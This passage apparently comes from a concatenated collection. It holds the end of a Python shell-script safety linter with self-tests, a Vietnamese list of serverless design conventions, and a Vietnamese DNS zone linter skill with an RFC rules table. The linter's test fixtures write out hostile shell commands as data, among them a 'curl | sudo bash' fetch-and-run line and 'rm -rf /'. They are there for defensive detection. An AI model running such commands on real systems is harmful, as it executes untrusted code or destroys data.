"RM_EMPTY_VAR" in c), ("rm -rf ? is fine", S + 'rm -rf -- "?/"\n', lambda c: "RM_EMPTY_VAR" not in c), ("rm -rf / is RM_ROOT", S + "rm -rf /\n", lambda c: "RM_ROOT" in c), ("curl | bash", S + "curl -fsSL https://x.example/install.sh | sudo bash\n", lambda c: "CURL_PIPE_SHELL" in c), ("curl to file is fine", S + 'curl -fsSLo install.sh "$URL"\n', lambda c: "CURL_PIPE_SHELL" not in c), ("eval with variable", S + 'eval "$cmd"\n', lambda c: "EVAL_VAR" in c), ("unquoted var in command", S + "cp $src $dst\n", lambda c: "UNQUOTED_VAR" in c), ("quoted var is fine", S + 'cp "$src" "$dst"\n', lambda c: "UNQUOTED_VAR" not in c), ("assignment rhs is fine", S + "x=$y\nn=$(date +%s)\n", lambda c: "UNQUOTED_VAR" not in c), ("[[ ]] is fine", S + "if [[ $a == b ]]; then :; fi\n", lambda c: "UNQUOTED_VAR" not in c), ("arith is fine", S + "n=$(( $a + 1 ))\n(( count > $max ))\n", lambda c: "UNQUOTED_VAR" not in c), ("#arr is fine", S + 'printf "%s\\n" #arr[@]\n', lambda c: "UNQUOTED_VAR" not in c), ("unquoted $@", S + "run $@\n", lambda c: "UNQUOTED_VAR" in c), ("unquoted cmd substitution", S + "rm -- $(cat list)\n", lambda c: "UNQUOTED_VAR" in c), ("var inside quoted $( ) still checked", S + 'x="$(basename $path)"\n', lambda c: "UNQUOTED_VAR" in c), ("single quotes protect", S + "echo '$HOME is literal'\n", lambda c: "UNQUOTED_VAR" not in c), ("comment ignored", S + "# rm -rf $DIR/ and curl x | sh\n", lambda c: c == []), ("heredoc body skipped", S + "cat <<'EOF'\nrm -rf $X/\ncurl a | sh\nEOF\n", lambda c: c == []), ("cd unchecked without set -e", "#!/bin/bash\ncd /srv/app\n", lambda c: "CD_UNCHECKED" in c), ("cd || exit is fine", "#!/bin/bash\ncd /srv/app || exit 1\n", lambda c: "CD_UNCHECKED" not in c), ("for in $(ls)", S + "for f in $(ls *.log); do :; done\n", lambda c: "LS_PARSING" in c), ("backticks", S + "d=`date`\n", lambda c: "BACKTICKS" in c), ("chmod 777", S + "chmod -R 777 /srv/app\n", lambda c: "CHMOD_777" in c), ("hardcoded token, value masked", S + 'export API_TOKEN="sk_live_abcdef123456"\n', lambda c: "HARDCODED_SECRET" in c), ("secret from env is fine", S + 'API_TOKEN="?"\n', lambda c: "HARDCODED_SECRET" not in c), ("predictable tmp", S + 'echo "x" > /tmp/deploy.lock\n', lambda c: "PREDICTABLE_TMP" in c), ("mktemp without trap", S + "tmp=$(mktemp)\n", lambda c: "NO_TRAP_CLEANUP" in c), ("mktemp with trap fine", S + "tmp=$(mktemp)\ntrap 'rm -f -- \"$tmp\"' EXIT\n", lambda c: "NO_TRAP_CLEANUP" not in c), ("read without -r", S + 'while read line; do :; done < "$f"\n', lambda c: "READ_WITHOUT_R" in c), ("local masks status", S + "f() {\n local out=$(git rev-parse HEAD)\n}\n", lambda c: "LOCAL_MASKS_STATUS" in c), ("curl -k", S + 'curl -k "$URL" -o x\n', lambda c: "TLS_DISABLED" in c), ("bashisms under /bin/sh", "#!/bin/sh\nset -eu\nif [[ -n \"$x\" ]]; then source ./env; fi\n", lambda c: "BASHISM_IN_SH" in c), ("bash allows [[ ]]", S + 'if [[ -n "$x" ]]; then source ./env; fi\n', lambda c: "BASHISM_IN_SH" not in c), ("disable comment", S + "cp $a $b # shell-lint: disable=UNQUOTED_VAR\n", lambda c: "UNQUOTED_VAR" not in c), ("ssh in while-read loop", S + 'while IFS= read -r h; do\n ssh "$h" uptime\ndone < hosts\n', lambda c: "SSH_STDIN_LOOP" in c), ("ssh -n in loop is fine", S + 'while IFS= read -r h; do\n ssh -n "$h" uptime\ndone < hosts\n', lambda c: "SSH_STDIN_LOOP" not in c), ("case word fine", S + 'case $1 in\n a) echo "a" ;;\nesac\n', lambda c: "UNQUOTED_VAR" not in c), ] passed = 0 for name, src, check in cases: got = _codes(src) ok = check(got) passed += ok print(("PASS " if ok else "FAIL ") + name + ("" if ok else f" -> {got}")) # masking check and exit code check f = [x for x in lint(S + 'export API_TOKEN="sk_live_abcdef123456"\n') if x.code == "HARDCODED_SECRET"][0] ok = "abcdef123456" not in f.snippet passed += ok; print(("PASS " if ok else "FAIL ") + "secret value masked in output") ok = render_md("t", []).endswith("No findings.") passed += ok; print(("PASS " if ok else "FAIL ") + "empty report") total = len(cases) + 2 print(f"{passed}/{total} passed") return 0 if passed == total else 1 def main(): ap = argparse.ArgumentParser(description="Shell script safety linter (stdlib only)") ap.add_argument("files", nargs="*") ap.add_argument("--json", action="store_true") ap.add_argument("--min-severity", default="LOW", choices=list(SEV_ORDER)) ap.add_argument("--ignore", default="", help="comma-separated codes to skip") ap.add_argument("--self-test", action="store_true") a = ap.parse_args() if a.self_test: return self_test() if not a.files: ap.error("give at least one script or --self-test") ignore = {c.strip() for c in a.ignore.split(",") if c.strip()} worst, reports, js = 0, [], {} for path in a.files: try: with open(path, encoding="utf-8") as fh: text = fh.read() except (OSError, UnicodeDecodeError) as e: print(f"error: cannot read {path}: {e}", file=sys.stderr) return 2 fs = [f for f in lint(text, path) if f.code not in ignore and SEV_ORDER[f.sev] <= SEV_ORDER[a.min_severity]] if any(f.sev == "HIGH" for f in fs): worst = 1 js[path] = [f.as_dict() for f in fs] reports.append(render_md(path, fs)) print(json.dumps(js, indent=2) if a.json else "\n\n".join(reports)) return worst if __name__ == "__main__": sys.exit(main())
Các quy ước giàu tính định hướng để xây dựng những hàm serverless đáng tin cậy, tối ưu chi phí trên đám mây.
# Gu thiết kế (taste) Hàm Serverless của một kỹ sư backend đám mây - Giữ cho mỗi hàm nhỏ gọn và tập trung vào một tác nhân kích hoạt (trigger) duy nhất, nhưng hãy gom các route HTTP có liên quan mật thiết vào chung một handler để cắt giảm tình trạng khởi động lạnh (cold starts). Độ tin cậy: 0.80 - Khởi tạo các SDK client và nhóm kết nối cơ sở dữ liệu (database pools) bên ngoài hàm handler để các lần gọi ấm (warm invocations) có thể tái sử dụng chúng. Độ tin cậy: 0.95 - Sử dụng bộ quản lý nhóm kết nối (connection pooler) hoặc trình điều khiển cơ sở dữ liệu dựa trên HTTP, vì hàng nghìn hàm chạy đồng thời sẽ làm cạn kiệt các kết nối Postgres trực tiếp. Độ tin cậy: 0.90 - Thiết lập thời gian chờ (timeout) và dung lượng bộ nhớ tường minh cho từng hàm thay vì chấp nhận các giá trị mặc định của nền tảng. Độ tin cậy: 0.85 - Giữ kích thước gói mã (bundle) nhỏ gọn bằng kỹ thuật loại bỏ mã thừa (tree-shaking) và nạp trễ (lazy imports), đồng thời đo lường thời gian khởi động lạnh sau mỗi thay đổi thư viện phụ thuộc lớn. Độ tin cậy: 0.85 - Đảm bảo mọi hàm xử lý sự kiện đều có tính lũy đẳng (idempotent), bởi vì các hàng đợi và nguồn phát sự kiện luôn phân phối theo cơ chế ít nhất một lần (at-least-once). Độ tin cậy: 0.95 - Chuyển các tác vụ chạy chậm hoặc cần thử lại sang hàng đợi (queue) và trả kết quả về nhanh chóng từ các hàm HTTP. Độ tin cậy: 0.90 - Đẩy các sự kiện bất đồng bộ bị lỗi vào hàng đợi thư chết (dead letter queue - DLQ) kèm theo cảnh báo dựa trên độ sâu (số lượng tồn đọng) của hàng đợi đó. Độ tin cậy: 0.90 - Định nghĩa các hàm, quyền hạn và tác nhân kích hoạt dưới dạng mã (Infrastructure as Code) bằng SST, Serverless Framework, SAM hoặc Terraform, tuyệt đối không bấm chọn thủ công trên giao diện điều khiển (console). Độ tin cậy: 0.90 - Cấp cho mỗi hàm một vai trò (role) riêng theo nguyên tắc đặc quyền tối thiểu, giới hạn phạm vi chính xác vào những tài nguyên mà hàm đó chạm tới. Độ tin cậy: 0.95 - Nạp các thông tin bí mật (secrets) từ trình quản lý bí mật (secrets manager) hoặc biến môi trường được mã hóa của nền tảng, tuyệt đối không lấy từ kho mã nguồn (repo). Độ tin cậy: 0.95 - Ghi nhật ký (logs) định dạng JSON có cấu trúc kèm theo request ID và correlation ID trên mọi dòng. Độ tin cậy: 0.90 - Truy vết (trace) các yêu cầu xuyên qua các hàm và hàng đợi bằng OpenTelemetry hoặc công cụ truy vết có sẵn của nền tảng. Độ tin cậy: 0.80 - Giữ logic nghiệp vụ trong các module thuần túy và chỉ để hàm handler đóng vai trò một lớp chuyển đổi (adapter) mỏng, nhờ đó có thể kiểm thử đơn vị (unit test) mà không cần tới môi trường đám mây. Độ tin cậy: 0.90 - Chạy kiểm thử tích hợp (integration tests) trên một môi trường triển khai (stage) thực tế cho mỗi pull request thay vì đặt niềm tin vào các trình giả lập cục bộ. Độ tin cậy: 0.80 - Thiết lập mức độ đồng thời dành riêng hoặc tối đa (reserved or maximum concurrency) trên các hàm gọi tới những dịch vụ hạ nguồn mỏng manh, dễ quá tải. Độ tin cậy: 0.85 - Chỉ sử dụng mức độ đồng thời được cấp phát sẵn (provisioned concurrency) cho các luồng xử lý nhạy cảm về độ trễ nơi mà quá trình khởi động lạnh đã được đo đạc và chứng minh là gây ảnh hưởng xấu. Độ tin cậy: 0.75 - Ưu tiên môi trường thực thi arm64 khi các thư viện phụ thuộc hỗ trợ để đạt tỷ lệ hiệu năng trên giá thành tốt hơn. Độ tin cậy: 0.70 - Thiết lập cảnh báo hóa đơn thanh toán và bảng theo dõi chi phí theo từng hàm trước khi ra mắt, chứ không phải đợi đến sau tờ hóa đơn gây sốc đầu tiên. Độ tin cậy: 0.85 - Tránh nối chuỗi các hàm gọi nhau một cách đồng bộ; thay vào đó hãy dùng sự kiện hoặc một bộ điều phối luồng công việc (workflow engine) như Step Functions. Độ tin cậy: 0.85 - Lựa chọn container hoặc các dịch vụ chạy liên tục dài hạn cho các khối lượng công việc có thông lượng cao và ổn định, nơi mà mô hình serverless trở nên đắt đỏ hơn. Độ tin cậy: 0.75
Kiểm tra lỗi (lint) tệp DNS zone hoặc tệp CSV xuất bản ghi từ nhà cung cấp trước khi nó làm sập website hoặc hệ thống email - phát hiện CNAME ở tên miền gốc (apex) hoặc nằm cạnh các bản ghi khác, MX/NS trỏ tới CNAME hoặc địa chỉ IP, thiếu dấu chấm ở cuối, thiếu hoặc trùng lặp bản ghi SPF, lỗi +all/?all và giới hạn 10 lần truy vấn (lookup), sự hiện diện của DMARC và DKIM, cú pháp và độ dài khóa, giá trị TTL quá cao hoặc quá thấp, địa chỉ IP nội bộ (private IP) và các lỗi cấu hình SOA. Trả về các bản ghi đã được sửa chuẩn xác. Bao gồm bộ kiểm tra lỗi bằng Python chạy ngoại tuyến dùng thư viện chuẩn (stdlib) kèm tùy chọn --self-test.
---
name: dns-zone-record-linter
description: Kiểm tra lỗi (lint) tệp DNS zone hoặc tệp CSV xuất bản ghi từ nhà cung cấp trước khi nó làm sập website hoặc hệ thống email - phát hiện CNAME ở tên miền gốc (apex) hoặc nằm cạnh các bản ghi khác, MX/NS trỏ tới CNAME hoặc địa chỉ IP, thiếu dấu chấm ở cuối, thiếu hoặc trùng lặp bản ghi SPF, lỗi +all/?all và giới hạn 10 lần truy vấn (lookup), sự hiện diện của DMARC và DKIM, cú pháp và độ dài khóa, giá trị TTL quá cao hoặc quá thấp, địa chỉ IP nội bộ (private IP) và các lỗi cấu hình SOA. Trả về các bản ghi đã được sửa chuẩn xác. Bao gồm bộ kiểm tra lỗi bằng Python chạy ngoại tuyến dùng thư viện chuẩn (stdlib) kèm tùy chọn --self-test.
---
# Công Cụ Kiểm Tra Bản Ghi DNS Zone (Linter)
Bạn rà soát các bản ghi DNS giống như cách một quản trị viên DNS cẩn trọng thực hiện trước khi chuyển đổi hệ thống hoặc đưa cấu hình email vào vận hành thực tế. Bạn tìm ra những sai sót âm thầm làm hỏng dịch vụ (bản ghi CNAME đặt ở tên miền gốc apex, bản ghi MX trỏ tới một CNAME, `mail.example.com` viết thiếu dấu chấm ở cuối, hai bản ghi SPF cùng tồn tại), giải thích hậu quả bằng ngôn từ dễ hiểu, và trả lại các bản ghi đã được chỉnh sửa chuẩn xác. Bạn làm việc ngoại tuyến dựa trên tệp đầu vào; tuyệt đối không bao giờ tuyên bố đã thực hiện truy vấn trực tiếp (live lookup) khi bạn không hề làm điều đó.
## Các tệp trong kỹ năng này
- `scripts/dns_lint.py` - phân tích cú pháp tệp BIND zone ($ORIGIN, $TTL, @, tên tương đối, SOA nhiều dòng, chuỗi TXT trong dấu ngoặc kép) hoặc tệp xuất CSV (name,type,value,ttl,priority) và báo cáo các lỗi phát hiện được kèm số dòng, sau đó liệt kê các đích trỏ nằm ngoài zone cần kiểm tra trực tiếp trên mạng (chỉ dùng thư viện chuẩn của Python 3.8+)
- `references/record-rules.md` - bộ quy tắc đằng sau mỗi mục kiểm tra kèm tham chiếu RFC: tính độc quyền của CNAME, đích trỏ của MX/NS, dấu chấm cuối, SPF, DMARC, DKIM, các giá trị TTL và SOA
- `references/finding-codes.md` - toàn bộ mã lỗi kèm mức độ nghiêm trọng, trường hợp nào có thể chấp nhận được, và cách khắc phục thông thường
- `templates/dns-review.md` - mẫu báo cáo đánh giá để gửi lại cho người dùng (tóm tắt, bản ghi đã sửa, các mục cần kiểm tra trực tiếp, lưu ý khi triển khai)
- `examples/example.com.zone` - một tệp zone được xuất ra trước khi chuyển nhà cung cấp DNS, cố tình cài sẵn các lỗi phổ biến
- `examples/example.com.fixed.zone` - tệp zone đã được sửa hoàn chỉnh (chạy kiểm tra sạch lỗi hoàn toàn)
- `examples/lint-report.md` - kết quả đầu ra thực tế của công cụ kiểm tra đối với tệp ví dụ bị lỗi
## Quy trình thực hiện
### 1. Thu thập các bản ghi và ngữ cảnh sử dụng
Yêu cầu người dùng cung cấp tệp zone (định dạng BIND, kết quả lệnh `dig AXFR` hoặc tệp xuất từ nhà cung cấp) hoặc tệp CSV (`name,type,value,ttl,priority`), tên zone, và mục đích sử dụng của tên miền đó: chỉ chạy website, có gửi email (dùng dịch vụ nào: Google Workspace, Microsoft 365, công cụ gửi bản tin newsletter, hệ thống hỗ trợ khách hàng helpdesk), hay hoàn toàn không dùng email. Nếu người dùng dán các bản ghi từ giao diện web của nhà cung cấp, hãy lưu ý rằng tên máy chủ (host name) ở đó thường không có dấu chấm ở cuối và các bản ghi NS/SOA thường do nhà cung cấp tự quản lý.
### 2. Chạy công cụ kiểm tra (linter)
```
python3 scripts/dns_lint.py examples/example.com.zone
python3 scripts/dns_lint.py records.csv --origin example.com
python3 scripts/dns_lint.py zone.db --origin example.com --min-severity MEDIUM --ignore CAA_MISSING --json
python3 scripts/dns_lint.py --self-test
```
Mã thoát 0 = không có phát hiện mức HIGH, 1 = có phát hiện mức HIGH, 2 = dữ liệu đầu vào không hợp lệ (dấu ngoặc đơn hoặc dấu ngoặc kép chưa đóng, chưa rõ tên zone). Nếu không thể chạy mã, hãy áp dụng thủ công các quy tắc trong `references/record-rules.md` theo đúng trình tự đó.
### 3. Đọc kết quả phát hiện
- **HIGH** làm hỏng quá trình phân giải tên miền hoặc gửi/nhận email ngay lập tức (xung đột CNAME, MX trỏ tới CNAME, thiếu dấu chấm ở cuối, tồn tại hai bản ghi SPF, dùng `+all`, đặt DMARC sai tên bản ghi, cú pháp SPF không hợp lệ, khóa DKIM yếu).
- **MEDIUM** là cấu hình sai hoặc tiềm ẩn rủi ro nhưng có thể vẫn hoạt động tạm thời (thiếu DMARC/DKIM/SPF, dùng `?all`, địa chỉ IP nội bộ, giá trị TTL quá cực đoan, đích trỏ lơ lửng không tồn tại, chỉ có duy nhất một máy chủ phân giải tên miền NS).
- **LOW** là các vấn đề về chuẩn hóa và dọn dẹp (bản ghi trùng lặp, `p=none`, khóa DKIM 1024-bit, không có bản ghi CAA, dùng kiểu bản ghi SPF cũ đã lỗi thời).
- Công cụ chỉ đếm các lượt truy vấn SPF ở cấp cao nhất; các chỉ thị `include` lồng nhau bên trong sẽ làm tăng thêm số lượt truy vấn thực tế. Công cụ không thể nhìn thấy các bản ghi nằm ở phía nhà cung cấp dịch vụ ngoài (như các selector DKIM do dịch vụ email tạo ra) hoặc các đích trỏ nằm ngoài phạm vi zone. Hãy nói rõ giới hạn này, đồng thời liệt kê các lệnh kiểm tra trực tiếp từ bảng "Out-of-zone targets" (`dig +short CNAME shop.example.com`, `dig TXT _dmarc.example.com`).
### 4. Bàn giao kết quả
Điền vào `templates/dns-review.md`: phần tóm tắt ngắn gọn, các bản ghi đã sửa theo đúng định dạng của người dùng (dòng cấu hình tệp zone hoặc các trường nhập liệu trên giao diện nhà cung cấp), những nội dung cần xác minh trực tiếp trên mạng, và trình tự triển khai an toàn: hạ thấp TTL trước một ngày, thực hiện thay đổi, kiểm tra xác nhận, sau đó nâng TTL trở lại; đừng quên tăng số serial của bản ghi SOA. Đối với các thay đổi liên quan đến email, hãy khuyến nghị cấu hình DMARC ở mức `p=none` kèm địa chỉ `rua` trước tiên, sau đó nâng lên `quarantine`, rồi mới đến `reject` một khi các báo cáo trả về đã hoàn toàn sạch lỗi.
## Ví dụ kết quả
Trên tệp `examples/example.com.zone`, công cụ báo cáo 19 phát hiện (7 mức HIGH, 8 mức MEDIUM, 4 mức LOW): website được chuyển đi bằng bản ghi `@ CNAME bakery-site.example.net.` (đặt CNAME ở ngay tên miền gốc apex, nằm cạnh SOA, NS, MX và TXT), `www` vừa có CNAME vừa có bản ghi TXT xác minh tên miền, `MX 10 mail.example.com` thiếu dấu chấm ở cuối nên bị hiểu thành `mail.example.com.example.com.`, MX dự phòng lại trỏ tới một bản ghi CNAME, có tới hai bản ghi `v=spf1` (một bản ghi dùng `?all`), DMARC đặt ở tên `dmarc` thay vì `_dmarc`, một selector DKIM cũ đã bị thu hồi khóa, địa chỉ liên hệ trong SOA chứa ký tự `@`, và bản ghi `intranet` công khai địa chỉ IP nội bộ 10.0.4.12. Tệp `examples/example.com.fixed.zone` đã khắc phục toàn bộ các lỗi trên và vượt qua bài kiểm tra hoàn toàn sạch sẽ (mã thoát 0).
## Quy tắc
- Không bao giờ tự bịa ra giá trị bản ghi (địa chỉ IP, khóa công khai DKIM, tên máy chủ của nhà cung cấp); hãy dùng các ký hiệu giữ chỗ (placeholder) và hướng dẫn rõ người dùng cần sao chép thông tin gì từ nhà cung cấp dịch vụ.
- Chỉ giữ duy nhất một bản ghi SPF cho mỗi tên miền/tên miền phụ; hãy gộp chung các chỉ thị `include` vào cùng một bản ghi thay vì tạo thêm bản ghi SPF thứ hai.
- Không đề xuất xóa các selector DKIM hoặc bản ghi MX có khả năng vẫn đang được sử dụng mà chưa hỏi xem những dịch vụ nào đang gửi email.
- Giải thích tác hại của việc thiếu dấu chấm ở cuối bằng cách viết rõ tên miền sau khi bị nối đuôi tự động, để người dùng nhìn thấy tận mắt lỗi sai đó.
- Đánh dấu bất kỳ mục nào cần truy vấn mạng thực tế là "cần xác minh trực tiếp" (to verify); tuyệt đối không trình bày như thể bạn đã kiểm tra rồi.
- Mọi thay đổi đối với bản ghi NS, MX hoặc các bản ghi ở tên miền gốc (apex) phải luôn đi kèm hướng dẫn triển khai và phương án hoàn tác (ghi lại giá trị cũ, thông số TTL, thời điểm cần kiểm tra).
FILE:references/record-rules.md
# Các quy tắc bản ghi DNS mà công cụ áp dụng
## Tên bản ghi và dấu chấm ở cuối (trailing dots)
- Trong tệp zone, một tên không có dấu chấm ở cuối được hiểu là tên tương đối: cả `www` và `mail.example.com` đều sẽ bị nối thêm hậu tố tên miền gốc ($ORIGIN) vào đuôi. Khi đó, `mail.example.com` nằm trong zone `example.com.` sẽ biến thành `mail.example.com.example.com.` - đây là lỗi sao chép và dán (copy-paste) phổ biến nhất. Hãy viết đầy đủ là `mail.example.com.` hoặc chỉ viết ngắn gọn là `mail`.
- Ký hiệu `@` đại diện cho tên miền gốc (origin / apex). Một dòng bắt đầu bằng khoảng trắng sẽ kế thừa lại tên chủ sở hữu (owner name) của dòng ngay phía trên nó.
- Biểu mẫu web của các nhà cung cấp DNS thường tự động xử lý dấu chấm cuối cho bạn; vì vậy công cụ sẽ bỏ qua bước kiểm tra dấu chấm cuối đối với dữ liệu đầu vào dạng CSV.
## CNAME (RFC 1034 3.6.2, RFC 2181 10.1)
- Một tên đã gắn bản ghi CNAME thì không được phép chứa bất kỳ dữ liệu bản ghi nào khác cùng tên (ngoại trừ các bản ghi DNSSEC). Các máy chủ phân giải (resolver) khi gặp CNAME sẽ chỉ trả về CNAME đó và phớt lờ toàn bộ phần còn lại, do đó nếu đặt bản ghi TXT hoặc MX cùng tên bên cạnh CNAME thì chúng sẽ bị vô hiệu hóa hoặc gây lỗi.
- Tên miền gốc (apex) luôn bắt buộc phải có bản ghi SOA và NS, vì vậy đặt bản ghi CNAME ở tên miền gốc không bao giờ hợp lệ theo chuẩn DNS. Hãy sử dụng bản ghi A/AAAA, hoặc tính năng ALIAS / ANAME / CNAME flattening của nhà cung cấp DNS (các tính năng này thực chất sẽ trả kết quả về dưới dạng bản ghi A/AAAA).
- Mỗi tên chỉ được phép có duy nhất một bản ghi CNAME. Việc nối chuỗi (CNAME trỏ sang một CNAME khác) vẫn hoạt động nhưng làm tốn thêm lượt truy vấn phân giải; hãy giữ chuỗi trỏ ngắn nhất có thể.
- Một bản ghi CNAME trỏ tới dịch vụ bên ngoài (trang bán hàng, trang trạng thái hệ thống, CDN) mà sau đó tài khoản dịch vụ đã bị hủy có thể bị kẻ khác đăng ký chiếm quyền điều khiển (tấn công chiếm quyền tên miền phụ - subdomain takeover). Hãy liệt kê các bản ghi dạng này và gỡ bỏ ngay những bản ghi không còn sử dụng.
## Đích trỏ của MX, NS, SRV (RFC 2181 10.3, RFC 5321 5.1, RFC 7505)
- Bản ghi MX, NS và SRV bắt buộc phải trỏ tới một tên máy chủ (host) có bản ghi A/AAAA trực tiếp, không được trỏ tới một bản ghi CNAME và cũng không được điền trực tiếp địa chỉ IP.
- Giá trị độ ưu tiên (preference) của MX càng nhỏ thì độ ưu tiên càng cao. Các máy chủ MX dự phòng phải thực sự được cấu hình để nhận thư cho tên miền đó, nếu không chúng sẽ chỉ trở thành nơi thu hút thư rác (spam).
- Bản ghi Null MX `MX 0 .` tuyên bố rõ rằng tên miền này không nhận bất kỳ email nào. Nếu sử dụng, nó phải là bản ghi MX duy nhất của tên miền đó.
- Hãy sử dụng ít nhất hai máy chủ NS nằm trên các mạng độc lập nhau; danh sách máy chủ NS khai báo tại nhà đăng ký tên miền (registrar delegation) phải khớp với các bản ghi NS bên trong tệp zone.
## SPF (RFC 7208)
- Chỉ được phép có duy nhất một bản ghi TXT `v=spf1` cho mỗi tên. Có hai bản ghi SPF = lỗi `permerror` = kiểm tra SPF thất bại đối với toàn bộ email gửi đi.
- Các thành phần (terms): `ip4:`, `ip6:`, `a`, `mx`, `include:`, `exists:`, `ptr` (đã ngừng khuyến nghị sử dụng), `all`, cùng các biến điều chỉnh (modifiers) `redirect=` và `exp=`. Các tiền tố định tính (qualifiers): `+` cho phép / pass (mặc định), `-` từ chối cứng / fail, `~` từ chối mềm / softfail, `?` trung lập / neutral.
- Tối đa 10 thành phần làm phát sinh truy vấn DNS (`include`, `a`, `mx`, `ptr`, `exists`, `redirect`), được tính tổng cộng xuyên suốt cả các chỉ thị `include` lồng bên trong. Các thành phần `ip4`/`ip6` không tốn lượt truy vấn DNS nào.
- Hãy kết thúc bản ghi bằng `-all` (hoặc `~all` trong giai đoạn thử nghiệm). Dùng `+all` đồng nghĩa với việc cho phép bất kỳ ai trên internet mạo danh bạn gửi thư; `?all` không mang lại tín hiệu bảo vệ nào. Mọi thành phần viết phía sau `all` đều bị bỏ qua.
- Kiểu bản ghi DNS mang tên SPF (type 99) đã bị khai tử; chỉ xuất bản SPF dưới dạng bản ghi TXT.
- Một chuỗi nằm trong cặp dấu ngoặc kép chỉ chứa được tối đa 255 byte; các bản ghi dài phải được tách thành nhiều chuỗi `"phần một" "phần hai"` và sẽ được hệ thống tự động nối liền lại với nhau (không tự thêm dấu cách ở giữa).
## DMARC (RFC 7489)
- Bản ghi TXT chỉ đặt tại `_dmarc.<domain>`. Phải bắt đầu bằng `v=DMARC1;` và bao gồm `p=none|quarantine|reject`. Chỉ có một bản ghi duy nhất.
- Thêm `rua=mailto:` để nhận báo cáo tổng hợp. Triển khai theo lộ trình `p=none` -> `quarantine` -> `reject`; giá trị `pct` dưới 100 sẽ áp dụng chính sách cho một phần lượng thư.
- Từ năm 2024, Gmail và Yahoo yêu cầu SPF, DKIM và DMARC (ít nhất là `p=none`) đối với những bên gửi thư số lượng lớn.
## DKIM (RFC 6376, RFC 8301, RFC 8463)
- Khóa được đặt tại `<selector>._domainkey.<domain>` dưới dạng TXT (`v=DKIM1; k=rsa; p=<base64>`) hoặc dưới dạng CNAME trỏ tới nhà cung cấp (Microsoft 365, nhiều ESP).
- Không được sử dụng khóa RSA dưới 1024 bit; mức khuyến nghị là 2048 bit. Có thể thêm Ed25519 (`k=ed25519`) song song với RSA.
- Giá trị `p=` để trống nghĩa là khóa đã bị thu hồi. Các selector không thể tự dò tìm được: việc không xuất hiện trong một tệp có nghĩa là "không có ở đây", chứ không phải "không có ở bất kỳ đâu".
## TTL và SOA (RFC 1035, RFC 2181 8, RFC 2308)
- TTL nằm trong khoảng 0..2147483647 s. Các giá trị thường dùng: 300-3600 s cho các bản ghi hay thay đổi, 3600-86400 s cho các bản ghi ổn định. Dưới 60 s thì nhiều bộ phân giải (resolver) đằng nào cũng tự nâng lên; trên một tuần thì một sai sót sẽ tồn đọng suốt cả tuần. Hãy hạ thấp TTL trước một ngày khi có thay đổi theo kế hoạch.
- `$TTL` thiết lập giá trị mặc định. Trường minimum của SOA là TTL lưu đệm âm (negative-caching TTL - khoảng thời gian trạng thái "không tồn tại" được lưu vào bộ nhớ đệm): 300-3600 s.
- Địa chỉ liên hệ SOA (rname) là một email được viết bằng dấu chấm: `hostmaster.example.com.` thay cho hostmaster@example.com.
- Tăng số serial của SOA sau mỗi lần thay đổi (YYYYMMDDnn).
## Địa chỉ và CAA
- A chứa địa chỉ IPv4, AAAA chứa địa chỉ IPv6. Các địa chỉ nội bộ (private), loopback và link-local không thuộc về một vùng (zone) công khai (hãy dùng DNS phân tách tầm nhìn - split-horizon DNS). Các dải địa chỉ dành cho tài liệu (192.0.2.0/24, 2001:db8::/32) có thể dùng bình thường trong các ví dụ.
- CAA (RFC 8659) giới hạn những tổ chức cấp phát chứng chỉ (CA) nào được phép cấp chứng chỉ cho tên miền: `@ CAA 0 issue "letsencrypt.org"`.
FILE:references/finding-codes.md
# Mã lỗi phát hiện (Finding codes)
| Mã | Mức độ | Vấn đề | Chấp nhận được khi | Cách sửa thông thường |
|---|---|---|---|---|
| CNAME_AT_APEX | HIGH | CNAME ở đỉnh vùng (apex) xung đột với SOA/NS, làm hỏng luồng thư | không bao giờ | dùng A/AAAA hoặc ALIAS/flattening của nhà cung cấp |
| CNAME_WITH_OTHER_DATA | HIGH | các bản ghi khác nằm cạnh CNAME bị bỏ qua | chỉ các bản ghi DNSSEC | chuyển TXT/MX đi nơi khác hoặc dùng A/AAAA |
| MULTIPLE_CNAME | HIGH | hai bản ghi CNAME cho cùng một tên | không bao giờ | giữ lại một bản ghi |
| MX_TO_CNAME / NS_TO_CNAME | HIGH | đích của MX/NS/SRV là một bí danh (alias) | không bao giờ (một số máy chủ dung thứ, nhưng nhiều máy chủ thì không) | trỏ tới máy chủ A/AAAA cuối cùng |
| TARGET_IS_IP | HIGH | giá trị MX/NS/CNAME là một địa chỉ IP | không bao giờ | dùng tên máy chủ có bản ghi A |
| MISSING_TRAILING_DOT | HIGH | tên đầy đủ không có dấu chấm ở cuối sẽ bị nối thêm miền gốc (origin) | không bao giờ | thêm dấu chấm hoặc viết ở dạng tương đối |
| OWNER_DOUBLED_ORIGIN | HIGH | tên chủ sở hữu `www.example.com` không có dấu chấm | không bao giờ | `www` hoặc `www.example.com.` |
| SPF_MULTIPLE | HIGH | hai bản ghi v=spf1 -> lỗi permerror | không bao giờ | gộp thành một bản ghi |
| SPF_PASS_ALL | HIGH | `+all`/`all` cấp quyền cho tất cả mọi người | không bao giờ | `-all` / `~all` |
| SPF_SYNTAX | HIGH | thành phần không xác định hoặc ip4/ip6 sai định dạng -> permerror | không bao giờ | sửa lại thành phần đó |
| SPF_TOO_MANY_LOOKUPS | HIGH | nhiều hơn 10 thành phần truy vấn (lookup) | không bao giờ | làm phẳng (flatten), xóa các include không dùng |
| TXT_STRING_TOO_LONG | HIGH | chuỗi trong ngoặc kép dài quá 255 byte | giao diện nhà cung cấp tự tách giúp bạn (đầu vào CSV không được kiểm tra) | tách thành từng đoạn nhỏ |
| DMARC_WRONG_NAME | HIGH | v=DMARC1 không nằm ở _dmarc | không bao giờ | chuyển sang `_dmarc` |
| DMARC_MULTIPLE / DMARC_SYNTAX | HIGH | bên nhận bỏ qua DMARC | không bao giờ | giữ một bản ghi hợp lệ duy nhất |
| DKIM_WRONG_NAME / DKIM_BAD_KEY | HIGH | không thể tìm thấy hoặc phân tích cú pháp khóa | không bao giờ | sao chép lại từ nhà cung cấp |
| DKIM_WEAK_KEY | HIGH | khóa RSA dưới 1024 bit | không bao giờ | xoay vòng khóa lên 2048 bit |
| SOA_RNAME_AT | HIGH | có ký tự `@` trong liên hệ SOA | không bao giờ | `hostmaster.example.com.` |
| NULL_MX_WITH_OTHERS | HIGH | có cả `MX 0 .` lẫn MX thực | không bao giờ | chỉ chọn một trong hai |
| BAD_ADDRESS / WRONG_ADDRESS_FAMILY / TTL_INVALID | HIGH | không thể nạp giá trị | không bao giờ | sửa lại giá trị |
| SPF_MISSING | MEDIUM | có MX nhưng không có SPF | không bao giờ đối với tên miền gửi/nhận thư | thêm một bản ghi SPF |
